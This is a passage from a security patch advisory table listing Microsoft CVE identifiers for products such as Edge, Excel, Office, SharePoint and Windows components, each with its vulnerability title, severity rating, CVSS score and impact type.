\n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  